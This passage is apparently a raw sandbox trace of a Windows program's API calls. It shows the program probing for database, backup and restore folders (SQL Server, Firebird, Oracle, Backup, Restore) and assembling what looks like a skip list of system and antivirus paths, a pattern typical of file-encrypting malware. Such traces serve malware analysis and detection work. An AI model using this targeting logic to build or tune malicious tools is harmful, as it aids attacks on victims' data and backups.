cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0054.593] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0054.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@册U企@\x18㿬Q\x181")) returned 0xffffffff [0054.594] GetLastError () returned 0x2 [0054.594] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0054.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0054.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@婴U企@\x18?T\x18;")) returned 0xffffffff [0054.596] GetLastError () returned 0x2 [0054.596] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a620, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0054.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0054.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@℔R企@\x18?T\x18D")) returned 0xffffffff [0054.598] GetLastError () returned 0x2 [0054.598] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a620, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0054.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0054.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@册U企@\x18婴U\x18j")) returned 0xffffffff [0054.600] GetLastError () returned 0x2 [0054.600] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0054.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0054.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@℔R企@\x18?T\x18q")) returned 0xffffffff [0054.601] GetLastError () returned 0x2 [0054.601] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a620, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\婰UP") returned 6 [0054.602] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0054.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@翌R企@\x18?T\x18y")) returned 0xffffffff [0054.605] GetLastError () returned 0x2 [0054.605] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.605] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a620, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0054.605] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0054.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@册U企@\x18?T\x18\x81")) returned 0xffffffff [0054.607] GetLastError () returned 0x2 [0054.607] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a620, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0054.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0054.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@℔R企@\x18?T\x18\x88")) returned 0xffffffff [0054.609] GetLastError () returned 0x2 [0054.609] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a620, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0054.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0054.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@翌R企@\x18?T\x18\x8f")) returned 0xffffffff [0054.610] GetLastError () returned 0x2 [0054.610] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a620, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0054.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0054.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@册U企@\x18?T\x18\x97")) returned 0xffffffff [0054.612] GetLastError () returned 0x2 [0054.612] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a620, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0054.612] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.612] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.612] GlobalUnlock (hMem=0x44000c) returned 0 [0054.612] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.612] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.612] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.612] GlobalUnlock (hMem=0x44000c) returned 0 [0054.612] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.612] GlobalUnlock (hMem=0x440004) returned 0 [0054.613] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.613] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0054.613] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.613] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0054.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0054.613] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.613] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0054.613] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.613] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0054.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6f8, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0054.613] GlobalLock (hMem=0x440004) returned 0x550170 [0054.613] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.613] GlobalUnlock (hMem=0x440004) returned 0 [0054.613] GlobalLock (hMem=0x440004) returned 0x550170 [0054.614] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.614] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.614] GlobalUnlock (hMem=0x440004) returned 0 [0054.614] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.614] GlobalUnlock (hMem=0x44000c) returned 0 [0054.614] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0054.614] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a620, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0054.614] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a620, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0054.614] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0054.614] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0054.615] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a620, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0054.615] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a620, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0054.615] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a620, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0054.615] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0054.615] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.615] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.615] GlobalUnlock (hMem=0x44000c) returned 0 [0054.615] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.615] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.615] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.615] GlobalUnlock (hMem=0x44000c) returned 0 [0054.615] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.615] GlobalUnlock (hMem=0x440004) returned 0 [0054.615] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0054.616] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.616] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0054.616] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0054.616] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0054.616] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0054.616] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0054.616] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0054.616] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, 